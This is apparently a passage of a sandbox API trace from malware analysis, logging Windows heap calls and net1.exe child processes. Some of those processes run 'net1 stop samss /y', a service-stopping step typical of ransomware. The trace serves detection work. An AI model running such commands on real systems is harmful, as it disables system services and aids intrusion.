	[0206.395] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305dc0 | out: hHeap=0x2f0000) returned 1
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b950) returned 1
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b950) returned 0x86
	[0206.395] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b950 | out: hHeap=0x2f0000) returned 1
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] GetProcessHeap () returned 0x2f0000
	[0206.395] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7d0) returned 1
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b7d0) returned 0x18
	[0206.396] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7d0 | out: hHeap=0x2f0000) returned 1
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305cd0) returned 1
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305cd0) returned 0x20
	[0206.396] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305cd0 | out: hHeap=0x2f0000) returned 1
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.396] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d60) returned 1
	[0206.396] GetProcessHeap () returned 0x2f0000
	[0206.397] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d60) returned 0x1e
	[0206.397] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d60 | out: hHeap=0x2f0000) returned 1
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7b0) returned 1
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b7b0) returned 0x18
	[0206.397] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b7b0 | out: hHeap=0x2f0000) returned 1
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ca0) returned 1
	[0206.397] GetProcessHeap () returned 0x2f0000
	[0206.397] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305ca0) returned 0x20
	[0206.397] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305ca0 | out: hHeap=0x2f0000) returned 1
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc60) returned 1
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bc60) returned 0x50
	[0206.398] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc60 | out: hHeap=0x2f0000) returned 1
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305af0) returned 1
	[0206.398] GetProcessHeap () returned 0x2f0000
	[0206.398] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305af0) returned 0x20
	[0206.398] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305af0 | out: hHeap=0x2f0000) returned 1
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bf90) returned 1
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bf90) returned 0x4a
	[0206.399] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bf90 | out: hHeap=0x2f0000) returned 1
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b20) returned 1
	[0206.399] GetProcessHeap () returned 0x2f0000
	[0206.399] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b20) returned 0x20
	[0206.399] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b20 | out: hHeap=0x2f0000) returned 1
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bff0) returned 1
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bff0) returned 0x8
	[0206.400] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bff0 | out: hHeap=0x2f0000) returned 1
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b50) returned 1
	[0206.400] GetProcessHeap () returned 0x2f0000
	[0206.400] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b50) returned 0x20
	[0206.400] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b50 | out: hHeap=0x2f0000) returned 1
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b80) returned 1
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b80) returned 0x20
	[0206.401] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b80 | out: hHeap=0x2f0000) returned 1
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b750) returned 1
	[0206.401] GetProcessHeap () returned 0x2f0000
	[0206.401] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b750) returned 0x18
	[0206.401] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b750 | out: hHeap=0x2f0000) returned 1
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bb0) returned 1
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305bb0) returned 0x20
	[0206.402] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bb0 | out: hHeap=0x2f0000) returned 1
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305be0) returned 1
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.402] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305be0) returned 0x20
	[0206.402] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305be0 | out: hHeap=0x2f0000) returned 1
	[0206.402] GetProcessHeap () returned 0x2f0000
	[0206.403] GetProcessHeap () returned 0x2f0000
	[0206.403] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c10) returned 1
	[0206.403] GetProcessHeap () returned 0x2f0000
	[0206.403] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c10) returned 0x20
	[0206.403] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c10 | out: hHeap=0x2f0000) returned 1
	[0206.403] GetProcessHeap () returned 0x2f0000
	[0206.403] GetProcessHeap () returned 0x2f0000
	[0206.404] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c40) returned 1
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c40) returned 0x20
	[0206.404] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c40 | out: hHeap=0x2f0000) returned 1
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b770) returned 1
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b770) returned 0x18
	[0206.404] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b770 | out: hHeap=0x2f0000) returned 1
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.404] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c70) returned 1
	[0206.404] GetProcessHeap () returned 0x2f0000
	[0206.405] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c70) returned 0x20
	[0206.405] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c70 | out: hHeap=0x2f0000) returned 1
	[0206.405] GetProcessHeap () returned 0x2f0000
	[0206.405] GetProcessHeap () returned 0x2f0000
	[0206.405] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d00) returned 1
	[0206.405] GetProcessHeap () returned 0x2f0000
	[0206.405] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d00) returned 0x20
	[0206.405] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d00 | out: hHeap=0x2f0000) returned 1
	[0206.405] GetProcessHeap () returned 0x2f0000
	[0206.405] GetProcessHeap () returned 0x2f0000
	[0206.405] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d90) returned 1
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d90) returned 0x20
	[0206.406] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d90 | out: hHeap=0x2f0000) returned 1
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b790) returned 1
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b790) returned 0x18
	[0206.406] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b790 | out: hHeap=0x2f0000) returned 1
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d30) returned 1
	[0206.406] GetProcessHeap () returned 0x2f0000
	[0206.406] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d30) returned 0x20
	[0206.407] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d30 | out: hHeap=0x2f0000) returned 1
	[0206.407] GetProcessHeap () returned 0x2f0000
	[0206.407] GetProcessHeap () returned 0x2f0000
	[0206.407] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b710) returned 1
	[0206.407] GetProcessHeap () returned 0x2f0000
	[0206.407] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b710) returned 0x18
	[0206.407] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b710 | out: hHeap=0x2f0000) returned 1
	[0206.407] exit (_Code=0) 

Process:
	id = "63"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x14e91000"
	os_pid = "0x23d0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "60"
	os_parent_pid = "0x2030"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1901
	os_tid = 0x23d4

	[0208.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f950 | out: lpSystemTimeAsFileTime=0x20f950*(dwLowDateTime=0x4c6db650, dwHighDateTime=0x1d5cdef)) 
	[0208.647] GetCurrentProcessId () returned 0x23d0
	[0208.647] GetCurrentThreadId () returned 0x23d4
	[0208.647] GetTickCount () returned 0x1179a7c
	[0208.647] QueryPerformanceCounter (in: lpPerformanceCount=0x20f958 | out: lpPerformanceCount=0x20f958*=35039999329) returned 1
	[0208.650] GetModuleHandleW (lpModuleName=0x0) returned 0xffd10000
	[0208.650] __set_app_type (_Type=0x1) 
	[0208.650] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd29c9c) returned 0x0
	[0208.650] __getmainargs (in: _Argc=0xffd34780, _Argv=0xffd34790, _Env=0xffd34788, _DoWildCard=0, _StartInfo=0xffd3479c | out: _Argc=0xffd34780, _Argv=0xffd34790, _Env=0xffd34788) returned 0
	[0208.651] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0208.651] GetConsoleOutputCP () returned 0x1b5
	[0208.651] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffd3cec0 | out: lpCPInfo=0xffd3cec0) returned 1
	[0208.652] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0208.658] sprintf_s (in: _DstBuf=0x20f8f8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0208.659] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0208.663] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0208.663] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0208.663] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0208.663] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20f690, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0208.663] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x6e) returned 0x2ec060
	[0208.664] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0208.664] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x20f8e8 | out: Buffer=0x20f8e8*=0x2e4d40) returned 0x0
	[0208.664] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x20f8e8 | out: Buffer=0x20f8e8*=0x2ec0e0) returned 0x0
	[0208.664] _fileno (_File=0x7fefe122a80) returned 0
	[0208.664] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0208.665] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0208.665] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0208.665] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0208.665] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0208.665] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0208.665] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0208.665] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0208.665] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0208.665] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0208.666] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0208.666] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0208.666] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0208.666] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0208.666] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0208.666] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0208.666] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0208.666] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0208.666] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0208.666] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0208.666] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0208.666] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0208.994] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0208.995] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0208.995] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0208.995] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0208.995] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0208.995] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0208.995] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0208.995] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0208.995] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0208.995] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0208.995] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0208.995] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0208.995] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0208.995] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0208.996] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0208.996] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0208.996] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0208.996] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0208.996] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0208.996] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0208.996] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0208.996] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0208.996] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0208.996] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0208.996] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0208.996] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0208.997] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0208.997] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0208.997] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0208.997] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0208.997] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0208.997] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0208.997] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0208.997] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0208.997] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0208.997] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0208.997] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0208.997] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0208.997] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0208.998] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0208.998] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0208.998] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0208.998] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0208.998] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0208.998] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0208.999] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x2ecdf0
	[0209.010] GetServiceKeyNameW (in: hSCManager=0x2ecdf0, lpDisplayName="SAMSS", lpServiceName=0xffd35750, lpcchBuffer=0x20f808 | out: lpServiceName="", lpcchBuffer=0x20f808) returned 0
	[0209.013] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0209.013] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0209.013] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0209.013] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0209.013] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0209.013] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0209.013] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0209.013] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0209.013] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0209.013] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0209.013] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0209.013] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0209.014] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0209.014] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0209.014] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0209.014] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0209.014] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0209.014] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0209.014] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0209.014] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x20f810 | out: bufptr=0x20f810) returned 0x0
	[0209.019] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x20f7c8 | out: Buffer=0x20f7c8*=0x2f0c70) returned 0x0
	[0209.019] OpenServiceW (hSCManager=0x2ecdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x2ece50
	[0209.020] QueryServiceStatus (in: hService=0x2ece50, lpServiceStatus=0x20f770 | out: lpServiceStatus=0x20f770*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0209.021] NetApiBufferFree (Buffer=0x2f0c70) returned 0x0
	[0209.021] CloseServiceHandle (hSCObject=0x2ece50) returned 1
	[0209.021] wcscpy_s (in: _Destination=0xffd380d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0209.021] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0209.023] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffd35b50, nSize=0x800, Arguments=0xffd37f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0209.029] GetFileType (hFile=0xb) returned 0x2
	[0209.030] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20f668 | out: lpMode=0x20f668) returned 1
	[0209.352] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd35b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x20f660, lpReserved=0x0 | out: lpBuffer=0xffd35b50*, lpNumberOfCharsWritten=0x20f660*=0x47) returned 1
	[0209.353] GetFileType (hFile=0xb) returned 0x2
	[0209.354] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20f668 | out: lpMode=0x20f668) returned 1
	[0209.355] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd11efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f660, lpReserved=0x0 | out: lpBuffer=0xffd11efc*, lpNumberOfCharsWritten=0x20f660*=0x2) returned 1
	[0209.356] _ultow (in: _Dest=0x88f, _Radix=2160336 | out: _Dest=0x88f) returned="2191"
	[0209.356] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffd35b50, nSize=0x800, Arguments=0xffd37f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0209.356] GetFileType (hFile=0xb) returned 0x2
	[0209.357] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20f668 | out: lpMode=0x20f668) returned 1
	[0209.358] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd35b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x20f660, lpReserved=0x0 | out: lpBuffer=0xffd35b50*, lpNumberOfCharsWritten=0x20f660*=0x34) returned 1
	[0209.358] GetFileType (hFile=0xb) returned 0x2
	[0209.359] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x20f668 | out: lpMode=0x20f668) returned 1
	[0209.360] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffd11efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f660, lpReserved=0x0 | out: lpBuffer=0xffd11efc*, lpNumberOfCharsWritten=0x20f660*=0x2) returned 1
	[0209.361] NetApiBufferFree (Buffer=0x2e4d40) returned 0x0
	[0209.361] NetApiBufferFree (Buffer=0x2ec0e0) returned 0x0
	[0209.361] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0209.361] exit (_Code=2) 

Process:
	id = "64"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x14c59000"
	os_pid = "0x23d8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "61"
	os_parent_pid = "0x2114"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1917
	os_tid = 0x23dc

	[0209.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fa10 | out: lpSystemTimeAsFileTime=0x16fa10*(dwLowDateTime=0x4cab9a10, dwHighDateTime=0x1d5cdef)) 
	[0209.054] GetCurrentProcessId () returned 0x23d8
	[0209.054] GetCurrentThreadId () returned 0x23dc
	[0209.054] GetTickCount () returned 0x1179c11
	[0209.054] QueryPerformanceCounter (in: lpPerformanceCount=0x16fa18 | out: lpPerformanceCount=0x16fa18*=35080668929) returned 1
	[0209.063] GetModuleHandleW (lpModuleName=0x0) returned 0xffd10000
	[0209.063] __set_app_type (_Type=0x1) 
	[0209.063] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd29c9c) returned 0x0
	[0209.063] __getmainargs (in: _Argc=0xffd34780, _Argv=0xffd34790, _Env=0xffd34788, _DoWildCard=0, _StartInfo=0xffd3479c | out: _Argc=0xffd34780, _Argv=0xffd34790, _Env=0xffd34788) returned 0
	[0209.064] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0209.064] GetConsoleOutputCP () returned 0x1b5
	[0209.064] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffd3cec0 | out: lpCPInfo=0xffd3cec0) returned 1
	[0209.065] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0209.070] sprintf_s (in: _DstBuf=0x16f9b8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0209.071] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0209.075] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0209.075] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
